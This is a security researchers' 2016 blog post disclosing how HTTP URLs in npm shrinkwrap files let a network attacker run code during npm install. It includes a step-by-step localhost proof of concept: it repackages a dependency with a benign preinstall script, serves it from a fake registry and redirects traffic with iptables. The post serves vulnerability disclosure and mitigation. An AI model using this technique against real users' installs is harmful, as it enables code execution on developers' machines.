NPM shrinkwrap allows remote code execution

Written by deian | Published 2016/12/12
Tech Story Tags: javascript | npm | security | vulnerability | nodejs

TLDRvia the TL;DR App

If you install an npm package (or any packages it may depend on) that has a shrinkwrap file (npm-shrinkwrap.json) with a HTTP registry URL, a local network attacker (MITM) can execute malicious code on your machine.

Stop feeding the MITM squirrel with HTTP URLs in shrinkwrap files. (Photo added to remove other photo from front.)

What is npm shrinkwrap and what is the problem?

npm shrinkwrap provides a way for package maintainers to lock down the packages they depend on. When you run npm shrinkwrap, npm creates a npm-shrinkwrap.json file that contains all the information about the locked-down dependencies. When someone installs your package, npm will fetch dependencies based on this shrinkwrap file and not the package.json. (Assuming you packaged up the shrinkwrap file before publishing.) This is great! You want to do this in production!

When the shrinkwrap file is generated, the URLs of the registries (usually https://registry.npmjs.org) from where the packages were fetched are saved alongside the module names and versions. For example, here is a dependency that is in npm's shrinkwrap file at the time of this writing:

"ansi-regex": {  "version": "2.0.0",  "from": "[email protected]",  "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-2.0.0.tgz"}

You should always make sure that the resolved URLs are HTTPS after running npm shrinkwrap. Unfortunately, people don't always do this and sometimes these URLs are HTTP. For example, npm's shrinkwrap at the time of this writing has the following dependency:

...npmlog": {"version": "4.0.1",  "from": "[email protected]",  "resolved": "https://registry.npmjs.org/npmlog/-/npmlog-4.0.1.tgz",  "dependencies": {    "are-we-there-yet": {      "version": "1.1.2",      "from": "are-we-there-yet@>=1.1.2 <1.2.0",      "resolved": "http://registry.npmjs.org/are-we-there-yet/-/are-we-there-yet-1.1.2.tgz",      ...      }    }...

The actual npm package that is in the npmregistry doesn’t contain the shrinkwrap — so if you install npm via npm (i.e., npm i npm) you're okay. But, if you clone the github repo and run npm install, on the other hand, you're not. More broadly, if you npm install any package that has an HTTP resolved URL, a network attacker can execute arbitrary code on your box.

Specifically, when fetching a package (e.g., are-we-there-yet) over HTTP an attacker that can carry out a man-in-the-middle (MITM) attack can simply reply with a package of their own choosing which, may, for example, contain a malicious preinstall script that npm will happily run.

As long as the attacker has access to the same local network as you (e.g., you are in the same coffee shop or they are your ISP), they can usually alter your HTTP traffic. FireSheep was a great example of how to do this — it made it easy for people to mess with others’ browsing experience by hijacking sessions. This is a bit worse since it allows an attacker to run code on your machine. Below is a proof-of-concept attack that demonstrates this.

We have notified a number of organizations and users that have packages on npm and github with such HTTP URLs. We cloned the npm registry and various github projects to find this information. This, unfortunately, means that there may be packages out there that we did not catch and may put you at risk. We describe some mitigation techniques below.

Proof of concept attack

Below is a PoC attack using the npm github repo, running strictly on localhost. We describe both the victim and attacker steps.

  1. Victim clones npm:

    https://github.com/npm/npm.git

At the time of this writing, the HEAD points to the latest branch (4d0473c12e1f1448f3ca28f157c9023e2682df9d).

The [npm-shrinkwrap.json](https://github.com/npm/npm/blob/4d0473c12e1f1448f3ca28f157c9023e2682df9d/npm-shrinkwrap.json#L1468) file has a module that will be fetched via HTTP:

"resolved": "http://registry.npmjs.org/are-we-there-yet/-/are-we-there-yet-1.1.2.tgz",

This is the package we’re going to modify and serve from our MITM “registry”.

2. Attacker opens a new shell and set up the MITM registry-like server:

mkdir mitmcd mitmmkdir -p public/are-we-there-yet/-pushd public/are-we-there-yet/-wget https://registry.npmjs.org/are-we-there-yet/-/are-we-there-yet-1.1.2.tgztar xzvf are-we-there-yet-1.1.2.tgz# modify package/package.json to add new preisnstall script. For example:# "preinstall": "echo w00t > /tmp/whodis",tar czvf are-we-there-yet-1.1.2.tgz packagepopdnpm i static-server ./node_modules/.bin/static-server -p8080 public

3. Attacker forwards packets destined to registry.npmjs.org:80 to our MITM local server running on port 8080. For the purpose of this example, we forward any traffic to port 80 to localhost:8080 with iptables:

sudo echo 1 > /proc/sys/net/ipv4/ip_forwardsudo iptables -t nat -A OUTPUT -p tcp --dport 80 -j DNAT --to-destination 127.0.0.1:8080

4. Victim installs npm in the npm directory:

npm i

This will have executed our preinstall script. You can just as easily modify the code and carry out the attack when the module is loaded, just in case the victim was installing packages in a sandbox to prevent install-time attacks.

5. Attacker verifies preinstall script and cleans up:

cat /tmp/whodissudo iptables -t nat -D OUTPUT -p tcp --dport 80 -j DNAT --to-destination 127.0.0.1:8080

Who is affected by this?

Anybody that runs npm install for a package that has npm-shrinkwrap.json with HTTP URLs. We have already identified and notified a number of node organizations and users that are affected by this. We have also notified npm of this and recommend that you read their blog post on this.

Before you give npm a hard time about this, please be aware that you may be using other package managers that only use HTTP and can likely be leveraged more easily.

How likely am I to get owned by this?

Probably not very likely. The number of packages that have HTTP registry URLs on npm seems to quite low (~0.03% of ~360K packages). (That said, some of these have few thousand downloads per month.) Your attacker must also be local to MITM your network traffic. (Though there are lots of Node developers in SF coffee shops and bootcamps.)

Addressing the vulnerability

If your package contains a shrinkwrap file with HTTP URLs please change them to HTTPS and follow the suggestions in npm’s blog post on this vulnerability. You may be putting your users at risk.

When we reported this to npm, Inc. we recommended that they patch npm to automatically upgrade HTTP URLs to HTTPS for origins they control (e.g., registry.npmjs.org). Unfortunately, npm decided against this because it may break some of their users’ workflows. We respect that they have business reasons to not silently and automatically upgrade URLs. But, this is at the cost of putting some users at risk.

One can argue that the developer that left HTTP URLs in a shrinkwrap file is actually the one putting their users at risk. Unfortunately, it seems easy enough to forget to check shrinkwrap files (npm’s shrinkwrap file containing an HTTP URL is some indication of this). And, as a user, you have no idea when you npm install <some-package> whether or not npm will fetch its dependencies over HTTP. Sure you can download the tarball and inspect it (whether or not it has a shrinkwrap file and whether it is vulnerable), but we suspect you won't do that.

So what are reasonable options moving forward?

  • Adding support for automatic upgrades to HTTPS.
  • Adding hashes to shrinkwraps may be a reasonable alternative option (assuming you’re getting your hashes via HTTPS). Yarn does this for their yarn.lock files.
  • Disallowing downloads via HTTP and adding a --allow-unsafe-downloads flag may be yet another option.

There are likely others worth considering; we suspect pull requests may be welcome.

These changes are not suggestions for developers’ shrinkwrap files. While the problem does disappear if all developers upgrade their shrinkwrap URLs to HTTPS, this is not a reliably safe solution; malicious package authors can still get away with attacks using seemingly benign shrinkwrap files. Furthermore, if you simply re-run npm shrinkwrap right now, it’s not necessarily the case that all URLs will be HTTPS — npm defaults to URLs from the cache even if they’re HTTP. This is a pretty good excuse if you want to leave a backdoor with plausible deniability (It’s much easier to attribute an attack when the attack source is in the package itself as opposed to injected via MITM.). Until users can disallow code fetching via HTTP (or otherwise have authenticity for what they download), they are still at risk.

What is the CVE for this?

There isn’t one. We think there should be, so if your organization is willing to request one (maybe because it was affected by this) please get in touch with us.

My company intercepts HTTP traffic and scans for malicious things — am I safe?

No.

How did we disclose this?

We firstly emailed npm about this issue and then — roughly a week later — emailed the package maintainers and authors for packages we downloaded them from npm and github. Our intent was to give people enough time to patch their shrinkwrap files. We requested that people not disseminate the then private (a la short capability) URL to this post:

Email snippet highlight what you shouldn’t do.

Unfortunately, someone leaked this anyway. If you are that person please consider donating to EFF, ToR, or SecureDrop to get your some of karma points back.

Who are we?

We (Fraser, Ariana, and Deian) are security researchers at UC San Diego and Stanford.

Full disclosure: Deian has a startup that sells a Node.js security product to defend against untrusted code.


Published by HackerNoon on 2016/12/12